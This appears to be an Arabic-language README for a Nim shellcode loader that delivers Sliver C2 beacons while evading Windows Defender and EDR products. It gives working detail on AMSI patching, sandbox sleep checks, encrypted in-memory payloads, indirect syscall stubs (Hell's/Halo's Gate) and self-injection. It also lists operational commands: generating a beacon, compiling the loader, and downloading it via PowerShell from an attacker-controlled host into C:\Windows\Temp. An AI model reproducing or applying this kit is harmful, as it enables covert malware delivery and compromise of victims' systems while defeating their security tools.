
أداة تشفير مبنية على Nim لإخفاء شيلكود والحمولات لتجاوز Windows Defender.
محمل شيلكود Sliver مكتوب بلغة Nim يستهدف Windows x64. متغيران يغطيان أكثر حالتين تسليم شيوعًا. تم اختباره ضد Windows Defender مع تفعيل الحماية الفورية.
يقرأ كتلة شيلكود مشفرة من القرص، يفك تشفيرها في الذاكرة، ويحقنها ذاتيًا. استخدم هذا عندما يكون لديك بالفعل إمكانية إسقاط ملف وتريد ملفًا ثنائيًا صغيرًا بسيطًا.
loader.exe <shellcode.bin> [key_hex iv_hex]
المفتاح والمتجه IV اختياريان. إذا تم حذفهما، يتم التعامل مع الملف كشيلكود خام غير مشفر.
يقوم بتنزيل الكتلة المشفرة من خادم C2 الخاص بك عبر HTTP باستخدام مكدس WinHTTP من Windows، ويفك تشفيرها في الذاكرة، ويحقنها ذاتيًا. لا يمس أي ملف القرص مطلقًا. استخدم هذا عندما يمكنك تنفيذ ملف ثنائي على الهدف ولكن لا يمكنك إسقاط ملف ثانٍ بشكل موثوق.
قم بتحرير الثوابت في أعلى ملف stageless/loader.nim قبل التجميع:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 حرفًا سداسيًا عشريًا من encrypt.py
scIV = "..." # 32 حرفًا سداسيًا عشريًا من encrypt.py
يستدعي محمل stageless الدالة Sleep(5000) عند بدء التشغيل ويقيس الوقت الفعلي المنقضي باستخدام GetTickCount64. إذا مر أقل من 4500 مللي ثانية، يخرج المسار. معظم بيئات الصندوق الرملي الآلي تعمل على تسريع أو تخطي مراحل النوم، مما يؤدي إلى فشل الفحص. يحدث هذا قبل أي نشاط شبكي أو تنفيذ شيلكود، لذا فإن صناديق الرمل التي تفحص السلوك الشبكي لا ترى شيئًا.
يقوم ملف amsi.nim بتصحيح AmsiScanBuffer أثناء التشغيل باستخدام طبقتين من التعتيم:
إخفاء السلاسل عبر تجزئة FNV-1a. السلسلة النصية AmsiScanBuffer لا تظهر مطلقًا في الملف الثنائي. بدلاً من ذلك، يتم حساب تجزئة FNV-1a لها في وقت الترجمة وتخزينها كثابت. في وقت التشغيل، يجتاز المحمل جدول تصدير amsi.dll، ويجزئ كل اسم تصدير، ويقارن مع القيمة المخزنة للعثور على عنوان الدالة دون الاحتفاظ بالسلسلة النصية في الذاكرة.
تعتيم XOR في وقت التجميع. كل من اسم DLL (amsi.dll) وبايتات التصحيح (xor eax, eax; ret = 31 C0 C3) يتم تشفيرها باستخدام XOR في وقت التجميع باستخدام مفتاح عشوائي يتم إنشاؤه جديدًا لكل بناء عبر عملية فرعية بلغة Python. يتم تضمين المفتاح كثابت ويتم فك تشفير البايتات في وقت التشغيل قبل الاستخدام مباشرة. تتغير البايتات الخام في كل بناء، مما يكسر التوقيعات الثابتة على تسلسل التصحيح.
يقوم التصحيح باستبدال البايتات الثلاث الأولى من AmsiScanBuffer بـ xor eax, eax; ret، مما يجعل كل استدعاء يعيد AMSI_RESULT_CLEAN بغض النظر عن المدخلات.
يقوم encrypt.py بتشفير الشيلكود الخام باستخدام AES-256-CBC بمفتاح 32 بايت ومتجه IV 16 بايت يتم إنشاؤهما عشوائيًا. يقوم المحمل بفك التشفير في المكان باستخدام واجهة برمجة تطبيقات BCrypt من Windows، لذلك لا حاجة لأي مكتبة تشفير تابعة لجهة خارجية على الهدف.
يتم تخصيص الذاكرة كـ PAGE_READWRITE، ويتم كتابة الشيلكود فيها، ثم يتم تحويل المنطقة إلى PAGE_EXECUTE_READ قبل التنفيذ. التخصيص المباشر كـ PAGE_EXECUTE_READWRITE هو توقيع معروف يكتشفه Defender و EDRs بشكل صريح. فصل مرحلتي الكتابة والتنفيذ يتجنب هذا النمط.
يقوم stageless/syscalls.nim بتجاوز كل من طبقة Win32 API (kernel32.dll) وأي خطافات ntdll.dll الخاصة بالمستخدم التي تضعها EDRs.
حل رقم خدمة النظام (SSN). عند بدء التشغيل، يحصل المحمل على العنوان الأساسي لـ ntdll ويفحص جدول التصدير PE الخاص به، مجمعًا كل تصدير Nt* مرتبًا حسب RVA. لكل دالة NT نحتاجها، يفحص البايتات الأربعة الأولى:
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) يعني أن الجذر نظيف ويتم قراءة SSN مباشرة من البايتات 4-5. هذا هو Hell's Gate.neighbor_SSN +/- distance. تزداد SSNs بمقدار واحد لكل جذر بترتيب العناوين. هذا هو Halo's Gate.تحديد المقطع البرمجي (gadget). يفحص المحمل أول جذر Nt* نظيف يجده عن تسلسل البايتات 0F 05 C3 (syscall; ret). يعطي هذا عنوانًا داخل قسم .text المدعوم بالصورة من ntdll يمكننا إعادة استخدامه.
توليد الجذر. لكل دالة مطلوبة، يتم كتابة جذر بطول 22 بايت في صفحة RW واحدة يتم تحويلها إلى RX قبل الاستخدام:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx عنوان المقطع البرمجي
يقوم jmp [rip+0] بفك الإشارة إلى البايتات الثمانية التي تليها مباشرة (عنوان المقطع البرمجي) ويعيد توجيه التنفيذ إلى تسلسل syscall; ret الموجود في ntdll. يتم تنفيذ تعليمة syscall من قسم .text في ntdll بدلاً من التخصيص المجهول لدينا، مما يتغلب على أي تتبع على مستوى النواة لأي منطقة ذاكرة أصدرت استدعاء النظام.
الوظائف الأربع التي تغطيها استدعاءات النظام غير المباشرة هي NtAllocateVirtualMemory و NtProtectVirtualMemory و NtCreateThreadEx و NtWaitForSingleObject.
بعد فك التشفير، يقوم محمل stageless بتخصيص منطقة RW في عمليته الخاصة عبر NtAllocateVirtualMemory، وينسخ الشيلكود باستخدام copyMem، ويحول المنطقة إلى RX عبر NtProtectVirtualMemory، ويطلق خيطًا عبر NtCreateThreadEx. ثم يظل الخيط الرئيسي محظورًا إلى أجل غير مسمى على NtWaitForSingleObject، مما يبقي العملية حية أثناء تشغيل goroutines الخاصة بالمنارة. جميع الاستدعاءات الأربعة تمر عبر جذور استدعاء النظام غير المباشر الموصوفة أعلاه.
الحقن الذاتي يبقي سطح الاستدعاء في حده الأدنى. لا توجد استدعاءات لواجهة برمجة تطبيقات عبر العمليات (WriteProcessMemory، CreateRemoteThread، إلخ.)، وهي نواقل الكشف الأساسية للحقن عن بعد التقليدي.
AmsiScanBuffer عبر FNV-1a، استبدال بـ xor eax, eax; retsyscall; ret، كتابة الجذورNtAllocateVirtualMemory في العملية الخاصة (RW) عبر استدعاء نظام غير مباشرNtProtectVirtualMemory إلى PAGE_EXECUTE_READ عبر استدعاء نظام غير مباشرNtCreateThreadEx عبر استدعاء نظام غير مباشرNtWaitForSingleObject على مقبض الخيط عبر استدعاء نظام غير مباشرVirtualAlloc (RW)، نسخ الشيلكود، VirtualProtect إلى RXعلى جهاز البناء Linux الخاص بك:
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
قم بتحرير ملف stageless/loader.nim واضبط c2Host و c2Port و c2Path و scKey و scIV، ثم من جذر المشروع:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
قم دائمًا بالتجميع من جذر المشروع بحيث يتم تحميل ملف nim.cfg الجذر فقط. الناتج هو PE ثابت ثنائي لـ Windows x64 بدون تبعيات DLL خارجية تتجاوز مكتبات النظام القياسية.
Stageless: قم بتقديم الكتلة المشفرة عبر HTTP على المنفذ المطابق لـ c2Port:
cd bins && python3 -m http.server 443
Stager: انقل كلا الملفين إلى الهدف:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
Stageless:
loader.exe
Stager مع التشفير:
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Stager بدون تشفير:
loader.exe shellcode.bin
إذا تم التسليم عبر مهد تنزيل PowerShell، فسيقوم AMSI بفحص البرنامج النصي قبل تشغيل المحمل. قم بتصحيح AMSI في جلسة PS الخاصة بك أولاً:
python3 gen_amsi.py
الصق المخرجات في جلسة PS قبل تنزيل أو تنفيذ أي شيء. يقوم البرنامج النصي بحل AmsiScanBuffer بواسطة تجزئة جدول التصدير بحيث لا تظهر السلسلة النصية مطلقًا بنص واضح، ويتم تشفير جميع بايتات التصحيح باستخدام XOR بمفتاح عشوائي لكل تشغيل.
BCryptSetProperty لوضع التشفير يعيد STATUS_INVALID_PARAMETER ولكن BCrypt يضع CBC افتراضيًا على أي حال، فك التشفير يعمل بشكل صحيحsyscall في الجذور من داخل قسم .text لـ ntdll (مدعوم بالصورة، موقع من Microsoft)، وليس من صفحة الجذر، مما يتغلب على تتبع أصل استدعاء النظام على مستوى النواةيمكنك العثور على مزيد من التفاصيل حول آليات Defender والتقنيات والأدوات الأخرى على مدونتي